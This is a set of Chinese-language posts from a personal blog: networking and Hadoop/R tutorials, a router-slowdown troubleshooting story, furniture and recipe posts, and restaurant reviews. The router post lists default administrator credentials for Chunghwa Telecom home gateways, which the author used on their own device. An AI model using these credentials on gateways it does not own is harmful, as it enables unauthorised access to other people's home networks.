blog.gtwang.org 若是在 Mac OS X 中則要改用 -D 參數：\nping -s 800 -D blog.gtwang.org 關閉自動 DNS 解析 ping 預設會在輸出訊息中同時顯示 IP 位址以及 DNS 反解名稱，加上 -n 參數之後可以關閉自動 DNS 解析功能，僅以 IP 位址表示：\nping -n blog.gtwang.org 參考資料 lifewire ","permalink":"https://blog.gtwang.org/linux/windows-linux-ping-command-tutorial/","summary":"\u003cp\u003e這裡介紹 Windows 與 Linux 系統中的 \u003ccode\u003eping\u003c/code\u003e 指令用法，以及各種實用的網路檢測範例。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eping\u003c/code\u003e 這個指令是一個最常用的網路檢測工具，它可以藉由發送 ICMP ECHO_REQUEST 的封包，檢查自己與特定設備之間的網路是否暢通，並同時測量網路連線的\u003ca href=\"https://zh.wikipedia.org/wiki/%E4%BE%86%E5%9B%9E%E9%80%9A%E8%A8%8A%E5%BB%B6%E9%81%B2\"\u003e來回通訊延遲時間（round-trip delay time）\u003c/a\u003e，通常如果網路出問題時，我們都會使用 \u003ccode\u003eping\u003c/code\u003e 這個指令來做初步的檢查。\u003c/p\u003e","title":"Ping 指令用法教學：檢查網路連線狀態與品質"},{"content":"最近發現家裡的 Hinet 光世代網路很慢，這裡紀錄這個問題的測試狀況。\n我們家的網路從傳統的中華電信 ADSL 升級到光世代網路之後，雖然測速軟體可以測得較高的網路速度，但是實際使用起來感覺變慢非常多，有時候幾乎連普通網頁都開不起來，讓人真的有點生氣。\n我們家的電腦與手機都是使用 WiFi 無線網路上網的，以前我是用一台 TP-LINK 的 TL-WR741ND 路由器連接家庭閘道器（俗稱小烏龜、數據機），架設 WiFi 無線的 AP 讓家裡的設備使用，而在升級到光世代網路之後，中華電信換了一個內建 WiFi 無線網路的閘道器，所以我就把自己的路由器收起來，直接用中華電信的 WiFi 無線網路。\n下面這台就是安裝 Hinet 光世代所附帶的家庭閘道器，這台跟舊的 ADSL 閘道器多的不同就是他有內建 WiFi 無線網路功能。\n光世代所附帶的家庭閘道器因為新舊產品的關係，可能有許多不同的型號，我們家這台的型號是 P880 2T2R。\n我測試了一下自己的電腦透過 WiFi 連到家庭閘道器（192.168.1.1）的網路狀況，在 Windows 7 下載更新的同時，又用瀏覽器下載一個檔案，這時候用 ping 測試的結果非常離譜。\n關掉瀏覽器下載，只剩下 Windows 7 下載更新，結果有好一些，但是也是很誇張。\n重新開機之後在測試一次，剛連上 WiFi 時看起來比較正常，但是 Windows 7 下載更新執行之後，又變慢了。\n在 ping 不正常時，我使用 Hinet 測速軟體測試網路速度，確實速度也上不去，這個狀況看起來似乎是家庭閘道器壞了。\n通常只有一台電腦在上網時，這種網路異常的情況不會很嚴重，但是如果有好幾台電腦或手機同在使用網路的話，有些時候連普通網頁都開不起來，所以這個問題已經到了不解決不行的程度了。\n因為這一陣子剛好在搬家，要把電話與網路遷到新家，所以我在跟客服人員申請移機時，就順便請他們幫我把家庭閘道器換掉。\n中華電信目前的裝機、移機、維修等業務都是委外處理的，跟中華電信的客服約好之後，還要再等委外的工程師來施工。工程師來幫我們移機的時候，就直接換一個全新的家庭閘道器給我，非常乾脆。\n換了一個全新的家庭閘道器之後，測試結果還是一樣，這樣看起來家庭閘道器應該不是壞掉，而是設計不良。\n後來從網路上查到中華電信家庭閘道器的管理者帳號與密碼：\n帳號：cht\n北區密碼：chtnvdsl\n中區密碼：chtcvdsl\n南區密碼：chtsvdsl\nWBR-2200（中華附掛的無限線AP）：chtap\n家庭閘道器的 IP 位址通常是 192.168.1.1，我在登入之後，先將 QOS（ Quality of Service）功能關閉。\n同時也停用了 WiFi 功能，改用原本的 TP-LINK TL-WR741ND 路由器作為 WiFi 的 AP。\n這是家庭閘道器接上 TP-LINK TL-WR741ND 路由器的樣子。\n改成這樣之後，上網速度感覺變的非常順，而 ping 新的 AP 得到的數值也比較正常一些，雖然有些時候還是會有點慢，不過已經不太會影響我的工作了。\n這是從電腦 ping 自己的 TP-LINK TL-WR741ND 路由器所得到的數據，比 Hinet 家庭閘道器好很多。\n另外我也發現 Hinet 家庭閘道器平常在運作時溫度都比較高，放在木頭茶几上的時候，其底部的木板都熱熱的，所以我把一個壞掉的小米行動電源拆掉，拿它的鋁製外殼墊在家庭閘道器下方幫助散熱，也可避免茶几的亮光漆因受熱變質。\n參考資料 批踢踢實業坊 yachi0414 xfastest ","permalink":"https://blog.gtwang.org/life/hinet-network-slow-down-20170319/","summary":"\u003cp\u003e最近發現家裡的 Hinet 光世代網路很慢，這裡紀錄這個問題的測試狀況。\u003c/p\u003e\n\u003cp\u003e我們家的網路從傳統的中華電信 ADSL 升級到光世代網路之後，雖然測速軟體可以測得較高的網路速度，但是實際使用起來感覺變慢非常多，有時候幾乎連普通網頁都開不起來，讓人真的有點生氣。\u003c/p\u003e","title":"中華電信 Hinet 光世代路由器網路速度變慢問題與解決方式"},{"content":"這裡介紹如何讓 Hadoop 可以直接讀取 HDFS 中的 Gzip、Bzip2、Snappy 與 LZO 壓縮檔，省去解壓縮的麻煩。\n巨量資料在儲存時，通常都會經過適當的壓縮以節省儲存空間，如果在分析時還要先解壓縮的話，可能會遇到儲存空間上的麻煩，以文字檔來說解壓縮之後的資料大小會是原本的好幾倍，而且解壓縮也會需要非常大量的時間。\n若遇到資料壓縮與解壓縮的問題，可以將資料以 Hadoop 支援的幾種格式來壓縮存放，這樣在分析時就可以直接靠 Hadoop 解壓縮，讓分析者可以不需要手動處理巨量資料的解壓縮問題，也不必煩惱要準備額外的儲存空間。\nHadoop 支援的壓縮格式 Hadoop 支援的壓縮格式有 gzip、bzip2、snappy 與 LZO，以下是各種壓縮格式的比較：\nCodec 副檔名 是否可分割 壓縮率 壓縮速度 Gzip .gz 否 普通 普通 Bzip2 .bz2 是 佳 慢 Snappy .snappy 否 普通 快 LZO .lzo 要有索引才能分割 普通 普通 在使用壓縮資料之前，要先檢查 Hadoop 的 core-site.xml 設定檔，確認其中有包含自己要使用的 codec，以下是一個設定參考範例：\n\u0026lt;!-- Compression Codecs --\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;io.compression.codecs\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;org.apache.hadoop.io.compress.GzipCodec, org.apache.hadoop.io.compress.DefaultCodec, org.apache.hadoop.io.compress.Lz4Codec, org.apache.hadoop.io.compress.BZip2Codec, org.apache.hadoop.io.compress.SnappyCodec, com.hadoop.compression.lzo.LzoCodec, com.hadoop.compression.lzo.LzopCodec, org.apache.hadoop.io.compress.DeflateCodec \u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;io.compression.codec.lzo.class\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;com.hadoop.compression.lzo.LzoCodec\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; 若要改變 Map 輸出資料的壓縮格式，可以修改 mapred-site.xml，以下是一個 LZO 的參考範例：\n\u0026lt;property\u0026gt; \u0026lt;name\u0026gt;mapreduce.map.output.compress\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;true\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;mapreduce.map.output.compress.codec\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;com.hadoop.compression.lzo.LzoCodec\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;mapred.child.env\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;JAVA_LIBRARY_PATH=$JAVA_LIBRARY_PATH:/path/to/your/hadoop-lzo/libs/native\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; Gzip 壓縮範例 這是一個使用 gzip 壓縮資料的字數計算（word count）範例：\n# 在 HDFS 上建立測試用的目錄 hadoop fs -mkdir wordcount # 建立測試用資料 echo \u0026#34;this is a test that is a test\u0026#34; \u0026gt;\u0026gt; words.txt # 壓縮資料 gzip words.txt # 將資料放進 HDFS hadoop fs -put words.txt.gz wordcount/ # 執行 Word Count 範例 hadoop jar $HADOOP_HOME/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.3.jar wordcount wordcount/ wordcount_out/ # 輸出結果 hadoop fs -text wordcount_out/part* a\t2 test\t2 that\t1 is\t2 this\t1 測試完之後，將 HDFS 上的資料清除乾淨：\n# 清理資料 hadoop fs -rm -r wordcount_out/ hadoop fs -rm -r wordcount/ Bzip2 壓縮範例 這是一個使用 bzip2 壓縮資料的字數計算（word count）範例：\n# 在 HDFS 上建立測試用的目錄 hadoop fs -mkdir wordcount # 建立測試用資料 echo \u0026#34;this is a test that is a test\u0026#34; \u0026gt;\u0026gt; words.txt # 壓縮資料 bzip2 -z words.txt # 將資料放進 HDFS hadoop fs -put words.txt.bz2 wordcount/ # 執行 Word Count 範例 hadoop jar $HADOOP_HOME/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.3.jar wordcount wordcount/ wordcount_out/ # 輸出結果 hadoop fs -text wordcount_out/part* a\t2 test\t2 that\t1 is\t2 this\t1 測試完之後，將 HDFS 上的資料清除乾淨：\n# 清理資料 hadoop fs -rm -r wordcount_out/ hadoop fs -rm -r wordcount/ LZO 壓縮範例 安裝 lzop 壓縮程式：\nsudo yum install lzop lzo lzo-devel 或是從官方網站下載：\n# 下載 lzop 壓縮程式 wget http://www.lzop.org/download/lzop-1.03-i386_linux.tar.gz # 解壓縮 tar zxvf lzop-1.03-i386_linux.tar.gz 以下是使用 LZO 壓縮資料的字數計算範例：\n# 在 HDFS 上建立測試用的目錄 hadoop fs -mkdir wordcount # 建立測試用資料 echo \u0026#34;this is a test that is a test\u0026#34; \u0026gt;\u0026gt; words.txt # 壓縮資料 lzop words.txt # 將資料放進 HDFS hadoop fs -put words.txt.lzo wordcount/ # 執行 Word Count 範例 hadoop jar $HADOOP_HOME/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.3.jar wordcount wordcount/ wordcount_out/ # 輸出結果 hadoop fs -text wordcount_out/part* a\t2 test\t2 that\t1 is\t2 this\t1 測試完之後，將 HDFS 上的資料清除乾淨：\n# 清理資料 hadoop fs -rm -r wordcount_out/ hadoop fs -rm -r wordcount/ 如果結果出現類似這樣的亂碼，通常是因為 Hadoop 的 codec 沒設定好，沒有正常解壓縮 LZO 壓縮檔索引起的。\n若遇到 LzoCodec 找不到的情況，可參考 StackOverflow 的說明安裝 hadoop-lzo。\n參考資料 StackOverflow Data Compression in Hadoop dummies GitHub ","permalink":"https://blog.gtwang.org/linux/hadoop-read-gzip-bzip2-snappy-lzo-compressed-input-files/","summary":"\u003cp\u003e這裡介紹如何讓 Hadoop 可以直接讀取 HDFS 中的 Gzip、Bzip2、Snappy 與 LZO 壓縮檔，省去解壓縮的麻煩。\u003c/p\u003e\n\u003cp\u003e巨量資料在儲存時，通常都會經過適當的壓縮以節省儲存空間，如果在分析時還要先解壓縮的話，可能會遇到儲存空間上的麻煩，以文字檔來說解壓縮之後的資料大小會是原本的好幾倍，而且解壓縮也會需要非常大量的時間。\u003c/p\u003e","title":"[筆記] Hadoop 讀取 Gzip、Bzip2 與 LZO 壓縮檔"},{"content":"本篇記錄我最近買的實木木組椅。\n最近搬新家，客廳空間很大，就從西港的新樺傢俱行，買了一組便宜的實木木組椅，這一組 1 + 2 + 3 人的木組椅，加上大、小茶几，價格是一萬八千元。\n一人座椅。\n兩人座椅。\n三人座椅。\n大茶几。\n小茶几。\n店名：新樺傢俱行\n地址：台南市西港區中山路 311 號\n電話：(06) 795-2115\n新樺傢俱行是西港區傳承三代、開了幾十年的老傢俱行，有需要買傢俱的人可以考慮。\n一開始買這組實木木組椅的時候，沒有想到一起訂製玻璃墊，送來之後才想說應該要訂製玻璃墊比較好，所以後來又跟玻璃行訂製兩片茶几用的強化玻璃。\n","permalink":"https://blog.gtwang.org/life/solid-wood-coffee-table-20170515/","summary":"\u003cp\u003e本篇記錄我最近買的實木木組椅。\u003c/p\u003e\n\u003cp\u003e最近搬新家，客廳空間很大，就從西港的新樺傢俱行，買了一組便宜的實木木組椅，這一組 1 + 2 + 3 人的木組椅，加上大、小茶几，價格是一萬八千元。\u003c/p\u003e","title":"[開箱] 實木木組椅：1 + 2 + 3 人木組椅，大、小茶几"},{"content":"本篇是我自己試做素食鮪魚三明治的紀錄。\n最近剛搬完家，新家的廚房空間非常大，料理食材很方便，所以早上起床就自己做全家的早餐。一開始我選擇比較簡單的素食鮪魚三明治，材料與做法都很簡單，也不容易失敗，應該看過的人都會做。\n材料 素火腿：素料行就可以買得到，一大條一、兩百塊左右，日本的大約四百多塊，因為用量不多，建議可以買好一點的，選添加物比較少的、味道不要太重的會比較健康。 蔬果：蘋果、小黃瓜、番茄、苜蓿芽、萵苣等，看個人喜好任選兩三種即可，自己吃的量不多，建議可以買有機的蔬果，避免農藥殘留問題。 沙拉醬：看自己喜歡哪個牌子的沙拉醬都可以。 吐司：一般的吐司即可。 蛋：有吃蛋的人可以煎個荷包蛋一起夾進三明治裡。 作法 Step 1\n首先將蔬果洗乾淨，然後切片。蘋果記得要過鹽水，以免氧化。\nStep 2\n苜蓿芽用水清洗之後，用冷開水或過濾水沖過一次，最後再瀝乾水分即可。\nStep 3\n將素火腿切片後，放進電鍋蒸透。\n我的習慣是在素火腿買回來的時候，就把整條素火腿切成每片大約 0.5 到 1 公分厚（因為刀功不好，切出來素火腿片有的大、有的小），然後再放進冷凍庫，需要的時候就直接拿需要的量出來用。\n素火腿的用量看個人喜好而定，以我的習慣來說一個三明治大概半片素火腿就夠了。\nStep 4\n用湯匙（或是其他工具）將蒸透的素火腿搗碎，如果素火腿在蒸完之後有出水的話，記得先把多餘的水倒掉。\n搗碎之後，就會有類似鮪魚的口感。\nStep 5\n接著加入適量的沙拉醬，一般市售的沙拉醬都有含蛋，不吃蛋的人可以去買奶素或是純素的沙拉醬，我是用里仁買的奶素沙拉醬。\n沙拉醬要加多少也是看個人喜好，喜歡沙拉醬的人可以加多一點。\n將素火腿與沙拉醬拌勻，這樣素鮪魚醬就完成了。\nStep 6\n準備好所有的三明治餡料之後，就可以開始夾三明治了，要加蛋的人可以自己煎荷包蛋。\n這裡我的番茄、頻果、小黃瓜切太多了一點，大約只要一半的量再配上這個素鮪魚醬與苜蓿芽，大約就可以做四個三明治，不過每一種料的用量多少也是看個人喜好，喜歡吃水果的人也可以夾多一點水果。\nStep 7\n夾三明治就看自己喜歡怎麼夾了，原則上就是讓素鮪魚醬配上兩、三種以上的蔬果，夾起來一起吃就會很好吃。若有烤麵包機的人也可以將吐司稍微烤過，然後在吐司上塗上一層沙拉醬再夾起來，這樣會更香。\n素鮪魚醬可以跟苜蓿芽一起夾。\n這是番茄與荷包蛋。\nStep 8\n夾好三明治的餡料之後，再將其對切，就完成加蛋的素食鮪魚三明治了，這樣自己做早餐既好吃又健康，營養也比較均衡。\n自己做的三明治可以夾比較多料，這樣一個三明治通常吃一個就飽了，我們家阿玄每天都說想要吃兩個，不過吃完一個之後，第二個就吃不下了。\n對切的時候，也可以切成長方形的，料多的時候拿起來比較不會掉。\n這個素鮪魚三明治的做法很簡單，通常來說是不太容易失敗的，唯一比較困難的應該是煎荷包蛋，我有一次從冰箱拿雞蛋出來，沒退冰就下鍋煎，結果整個黏鍋，荷包蛋煎成炒蛋，然後就變成這樣。\n雖然蛋碎掉，不過夾進去還是很好吃。\n切這種三明治用一般的刀子比較不好切，我因為時常會自己做三明治，所以自己有買一隻 Tefal 的麵包刀，在大賣場就可以買得到，這一隻大約三百多塊左右，用麵包刀切的話，切口會比較平整，好看很多。\n本篇的拍攝狀況是我自己擔任主廚兼攝影師，早上五六點起來趕做早餐，同時拿筷子與相機之下拍出來的，所以沒有時間打光，只是單純記錄，照片拍得不好，請多包涵。:)\n","permalink":"https://blog.gtwang.org/life/diy-vegetarian-tuna-sandwich-20170515/","summary":"\u003cp\u003e本篇是我自己試做素食鮪魚三明治的紀錄。\u003c/p\u003e\n\u003cp\u003e最近剛搬完家，新家的廚房空間非常大，料理食材很方便，所以早上起床就自己做全家的早餐。一開始我選擇比較簡單的素食鮪魚三明治，材料與做法都很簡單，也不容易失敗，應該看過的人都會做。\u003c/p\u003e","title":"[DIY] 自己製作素食鮪魚三明治，第一次試做筆記"},{"content":"禾米蔬食是台南善化的素食簡餐店，食材挑選非常講究，料理口味也很大眾化，既養生又好吃，老少咸宜。\n在台南科學園區附近適合聚餐的素食餐廳並不多，之前跟同事聚餐我們都會選擇田園花果茶餐飲坊，而今年年初善化這邊又開了一家新的禾米蔬食，吃過幾次之後發現他們的餐點非常健康，食材挑選非常講究，料理口味也很好，店內環境乾淨、明亮，是一個適合聚餐的素食餐廳。\n本篇撰寫的時間是 2017 年，後來菜單有改變，新菜單請參考 2019 年的文章。\n禾米蔬食位於光復路上的彎道處，綠色的招牌非常醒目，經過這裡的話應該都會看到，隔壁是 YAMAHA 機車行，它距離善化慧慈寺大約只有 300 公尺而已。\n禾米蔬食目前已經取消店面內用，改以純 Uber Eats 與 Foodpanda 外送經營。\n店名：禾米蔬食\n網站：facebook 粉絲專頁\n備註：週日公休\n店內的燈光明亮、環境整潔，在這裡用餐讓人感覺很舒服。\n這是禾米蔬食的菜單，有麵食類、飯食類、火鍋類、湯品與小菜。\n也有組合的套餐，價格比較優惠。\n這一盤是咖哩飯，上面那一塊是香酥排，另外還有一碗清湯。\n禾米的清湯非常好喝，是用當歸和多種蔬果熬成，當歸味不重，很健康好喝，我家阿玄很愛喝。\n這一盤是猴菇茄汁義大利麵。\n禾米蔬食的許多餐點都有加猴頭菇（蛋素），他們把猴頭菇料理的很嫩、很好吃，小朋友也很適合吃（不會咬不爛）。\n這一碗是猴菇番茄拉麵，上面那兩塊是非常好吃的猴頭菇。\n這一碗是猴菇味增拉麵。\n這一碗是猴菇鍋燒意麵。\n這一碗是猴菇蕃茄鍋燒意麵。\n這一碗是猴菇咖哩拉麵。\n這一碗是猴菇皆安藥膳麵線。\n這個是猴菇味增火鍋。\n火鍋有送凍齡凍，是用銀耳，蔓越莓和寒天熬製的，很好吃。\n這一盤是猴菇卡啦好棒棒。\n卡拉好棒棒是用猴頭菇，金針菇和大豆纖維等經過繁覆工序純手工製作的，是禾米蔬食的獨家料理。\n這一盤是炸薯條。\n番茄醬可從餐具區取用，想淋多少自己決定。\n這一盤是香酥排，番茄醬也是自己淋。\n這一盤是和風醬燒排飯。\n這一碗是割稻子飯。\n餐具區有各種餐具、調味料可以取用，還有面紙與飲水，準備得很齊全。\n以下是一些阿玄用餐的照片，他最喜歡吃猴菇鍋燒意麵了。\n卡啦好棒棒他也很喜歡吃，一口氣就把兩隻都吃光。\n","permalink":"https://blog.gtwang.org/life/he-mi-vegetarian-restaurant-shanhua-tainan-2017/","summary":"\u003cp\u003e禾米蔬食是台南善化的素食簡餐店，食材挑選非常講究，料理口味也很大眾化，既養生又好吃，老少咸宜。\u003c/p\u003e\n\u003cp\u003e在台南科學園區附近適合聚餐的素食餐廳並不多，之前跟同事聚餐我們都會選擇\u003ca href=\"/life/pastoral-vegetarian-restaurant-shanhua-tainan/\"\u003e田園花果茶餐飲坊\u003c/a\u003e，而今年年初善化這邊又開了一家新的禾米蔬食，吃過幾次之後發現他們的餐點非常健康，食材挑選非常講究，料理口味也很好，店內環境乾淨、明亮，是一個適合聚餐的素食餐廳。\u003c/p\u003e","title":"[台南善化素食] 禾米蔬食：義大利麵、拉麵、飯類、火鍋、猴頭菇料理，近南科素食餐廳"},{"content":"致德蔬食坊是一家位於行天宮捷運站附近的平價素食小吃，有臭豆腐、素蚵仔煎、鍋貼、飯類、麵類，以及越南小吃。\n前陣子來台北出差時，來這裡吃過了清蒸臭豆腐與臭豆腐炒飯，感覺非常好吃，所以後來又陸續把其他的餐點都吃過一次，整理成一篇。\n最近都是在東吳上完課之後，來這裡吃晚餐，這裡到晚上也很熱鬧。\n這是素食的蚵仔煎。\n這一盤是紅油炒手。\n這是鍋貼，一盤有 10 個喔。\n這一盤是紅麴炒飯，有加一點點微辣的豆瓣醬，味道不錯。\n這是黑胡椒咖哩炒飯。\n這一碗是 XO 猴頭菇飯，味道很不錯喔。\n這一碗是豆漿番茄米線湯。\n米線就是用米做成像麵條的樣子。\n以下是一些常見的小吃。\n店名：致德蔬食坊\n地址：台北市中山區民權東路二段 92 巷 7 弄 2 號\n參考資料 海芋小站 ","permalink":"https://blog.gtwang.org/life/zhide-vegetarian-restaurant-mrt-xingtian-temple-taipei-20170508/","summary":"\u003cp\u003e致德蔬食坊是一家位於行天宮捷運站附近的平價素食小吃，有臭豆腐、素蚵仔煎、鍋貼、飯類、麵類，以及越南小吃。\u003c/p\u003e\n\u003cp\u003e前陣子來台北出差時，來這裡吃過了\u003ca href=\"/life/zhide-vegetarian-restaurant-mrt-xingtian-temple-taipei-20170325/\"\u003e清蒸臭豆腐與臭豆腐炒飯\u003c/a\u003e，感覺非常好吃，所以後來又陸續把其他的餐點都吃過一次，整理成一篇。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[台北素食] 致德蔬食坊：素蚵仔煎、鍋貼、米線、各式越南小吃，近行天宮捷運站"},{"content":"準備執行環境 若要使用 R 與 Hadoop Streaming API 分析資料，要先準備好標準的 Hadoop 環境，在測試時可以自己安裝單節點的 Hadoop 環境，或是使用 Hortonworks 或 Cloudera 這類整合好的虛擬機器也可以，然後在每一個 Hadoop 節點上安裝一般的 R 執行環境。\n安裝好之後，確認每一個 Hadoop 都可以正常執行 Rscript：\nRscript --version R scripting front-end version 3.3.3 (2017-03-06) 使用 MapReduce 計算字數 在整合 R 與 Hadoop Streaming API 時，我們需要用 R 寫出 mapper.R 與 reducer.R 兩個指令稿，分別處理 Map 與 Reduce 的工作。\n這是 mapper.R 指令稿，它會從標準輸入（stdin）讀取資料，將資料轉換成以 tab 分隔的鍵值對應，然後輸出至標準輸出（stdout）：\n#! /usr/bin/env Rscript # mapper.R # 移除空白函數 trimWhiteSpace \u0026lt;- function(line) gsub(\u0026#34;(^ +)|( +$)\u0026#34;, \u0026#34;\u0026#34;, line) # 分割英文單字函數 splitIntoWords \u0026lt;- function(line) unlist(strsplit(line, \u0026#34;[[:space:]]+\u0026#34;)) con \u0026lt;- file(\u0026#34;stdin\u0026#34;, open = \u0026#34;r\u0026#34;) while (length(line \u0026lt;- readLines(con, n = 1, warn = FALSE)) \u0026gt; 0) { line \u0026lt;- trimWhiteSpace(line) words \u0026lt;- splitIntoWords(line) ## 亦可使用 cat(paste(words, \u0026#34;\\t1\\n\u0026#34;, sep=\u0026#34;\u0026#34;), sep=\u0026#34;\u0026#34;) for (w in words) cat(w, \u0026#34;\\t1\\n\u0026#34;, sep=\u0026#34;\u0026#34;) } close(con) 這是 reducer.R 指令稿，這個指令稿也是從標準輸入讀取資料，然後將處理好的資料輸出至標準輸出：\n#! /usr/bin/env Rscript # reducer.R # 移除空白函數 trimWhiteSpace \u0026lt;- function(line) gsub(\u0026#34;(^ +)|( +$)\u0026#34;, \u0026#34;\u0026#34;, line) # 分割鍵與值 splitLine \u0026lt;- function(line) { val \u0026lt;- unlist(strsplit(line, \u0026#34;\\t\u0026#34;)) list(word = val[1], count = as.integer(val[2])) } # 使用環境空間作為雜湊（hash） env \u0026lt;- new.env(hash = TRUE) con \u0026lt;- file(\u0026#34;stdin\u0026#34;, open = \u0026#34;r\u0026#34;) while (length(line \u0026lt;- readLines(con, n = 1, warn = FALSE)) \u0026gt; 0) { line \u0026lt;- trimWhiteSpace(line) split \u0026lt;- splitLine(line) word \u0026lt;- split$word count \u0026lt;- split$count # 檢查 word 變數是否已經存在 if (exists(word, envir = env, inherits = FALSE)) { # 更新既有的 word 變數 oldcount \u0026lt;- get(word, envir = env) assign(word, oldcount + count, envir = env) } else { # 建立名稱為 word 的變數 assign(word, count, envir = env) } } close(con) # 輸出結果 for (w in ls(env, all = TRUE)) cat(w, \u0026#34;\\t\u0026#34;, get(w, envir = env), \u0026#34;\\n\u0026#34;, sep = \u0026#34;\u0026#34;) 在開發階段，我們可以拿比較少量的資料，以一般的 Linux 指令來測試指令稿是否可以正常處理資料：\n# 測試 mapper.R echo \u0026#34;this is a test that is a test\u0026#34; | Rscript mapper.R # 以檔案測試 mapper.R cat input.txt | Rscript mapper.R # 測試 reducer.R echo \u0026#34;this is a test that is a test\u0026#34; | Rscript mapper.R \\ | sort -k1,1 | Rscript reducer.R # 以檔案測試 reducer.R cat input.txt | Rscript mapper.R \\ | sort -k1,1 | Rscript reducer.R 確認 mapper.R 與 reducer.R 兩個指令稿都沒有問題之後，即可放進 Hadoop 中用 Streaming API 執行：\nhadoop jar hadoop-streaming-2.6.0-cdh5.5.1.jar \\ -file ./mapper.R \\ -file ./reducer.R \\ -mapper ./mapper.R \\ -reducer ./reducer.R \\ -numReduceTasks 1 \\ -input /path/to/input \\ -output /path/to/output 查看結果：\nhadoop fs -cat /path/to/output/* 取回結果：\nhadoop fs -get /path/to/output/* 參考資料 RPubs medium datascience+ DZone Data Scientist in Training ","permalink":"https://blog.gtwang.org/r/using-r-and-hadoop-streaming-api-to-implement-word-count-example/","summary":"\u003ch2 id=\"準備執行環境\"\u003e準備執行環境\u003c/h2\u003e\n\u003cp\u003e若要使用 R 與 Hadoop Streaming API 分析資料，要先準備好標準的 Hadoop 環境，在測試時可以自己安裝\u003ca href=\"/linux/linux-hadoop-single-node-cluster-tutorial/\"\u003e單節點的 Hadoop 環境\u003c/a\u003e，或是使用 Hortonworks 或 Cloudera 這類整合好的虛擬機器也可以，然後在每一個 Hadoop 節點上安裝一般的 R 執行環境。\u003c/p\u003e","title":"使用 R 與 Hadoop Streaming API 實作 MapReduce 字數計算 Word Count 範例教學"},{"content":"這裡示範如何使用 R 與 Hadoop MapReduce 分析 Stack Exchange 網站的傾印資料。\nStack Exchange 是一個程式設計領域非常知名的問答網站，上面有非常多具有參考價值的問題解答，Stack Exchange 也將其整個網站的內容傾印成 XML 檔，以創用 CC 授權的方式開放出來，放在 archive.org 提供大家免費下載使用。\n以下我們將使用 R 與 Hadoop MapReduce 示範如何處理與分析 Stack Exchange 網站的傾印資料。\n準備資料 Stack Exchange 所提供的資料有好多種，我們這裡僅選擇主要的文章資料來進行分析。參考 readme.txt 的說明後，我們可以知道文章的資料儲存於 **posts**.xml 中，而其檔案格式如下：\n- Id - PostTypeId - 1: Question - 2: Answer - ParentID (only present if PostTypeId is 2) - AcceptedAnswerId (only present if PostTypeId is 1) - CreationDate - Score - ViewCount - Body - OwnerUserId - LastEditorUserId - LastEditorDisplayName=\"Jeff Atwood\" - LastEditDate=\"2009-03-05T22:28:34.823\" - LastActivityDate=\"2009-03-11T12:51:01.480\" - CommunityOwnedDate=\"2009-03-11T12:51:01.480\" - ClosedDate=\"2009-03-11T12:51:01.480\" - Title= - Tags= - AnswerCount - CommentCount - FavoriteCount 由於 Stack Exchange 旗下有非常多的網站，我們選擇 raspberrypi.stackexchange.com 這個專門討論樹莓派（Raspberry Pi）的網站作為示範。\n下載的 raspberrypi.stackexchange.com 傾印資料檔：\nwget https://archive.org/download/stackexchange/raspberrypi.stackexchange.com.7z 使用 7zip 解壓縮：\n7za x raspberrypi.stackexchange.com.7z 檢查 Posts.xml 的檔案格式：\nhead Posts.xml \u0026lt;?xml version=\"1.0\" encoding=\"utf-8\"?\u0026gt; \u0026lt;posts\u0026gt; \u0026lt;row Id=\"1\" PostTypeId=\"1\" AcceptedAnswerId=\"225\" CreationDate=\"2012-06-12T19:45:29.157\" Score=\"71\" ViewCount=\"46943\" Body=\"\u0026lt;p\u0026gt;I already asked this \u0026lt;a href=\u0026quot;http://stackoverflow.com/questions/10973020/cross-compilation-for-raspberry-pi-in-gcc-where-to-start\u0026quot;\u0026gt;question\u0026lt;/a\u0026gt; on Stack Overflow, but I would like to know if anyone managed to build a GCC 4.7 toolchain for ARM cross-compilation (for a x86/x86-64 Linux host). There are many instructins for building GCC from source and many available cross-compilers for pre-4.7 GCC versions, just not the latest one.\u0026lt;/p\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;p\u0026gt;Compiling on Rasp Pi itself works fine but is just a bit too slow for practical purposes.\u0026lt;/p\u0026gt;\u0026#xA;\u0026#xA;\u0026lt;p\u0026gt;I am eager to get compiling and I would like to use the latest and the best tools.\u0026lt;/p\u0026gt;\u0026#xA;\" OwnerUserId=\"13\" LastEditorUserId=\"86\" LastEditDate=\"2012-07-18T21:17:22.913\" LastActivityDate=\"2016-02-20T19:57:27.583\" Title=\"How do I build a GCC 4.7 toolchain for cross-compiling?\" Tags=\"\u0026lt;software-development\u0026gt;\u0026lt;cross-compilation\u0026gt;\u0026lt;gcc\u0026gt;\" AnswerCount=\"8\" CommentCount=\"3\" FavoriteCount=\"35\" /\u0026gt; \u0026lt;row Id=\"2\" PostTypeId=\"1\" CreationDate=\"2012-06-12T19:52:39.397\" Score=\"14\" ViewCount=\"935\" Body=\"\u0026lt;p\u0026gt;I have come across the \u0026lt;a href=\u0026quot;http://elinux.org/RPi_Advanced_Setup\u0026quot; rel=\u0026quot;nofollow noreferrer\u0026quot;\u0026gt;RPi Advanced Setup\u0026lt;/a\u0026gt; but there are incomplete steps. For example, where can I find \u0026lt;code\u0026gt;mkcard.txt\u0026lt;/code\u0026gt; from the \u0026lt;strong\u0026gt;Advanced SD card 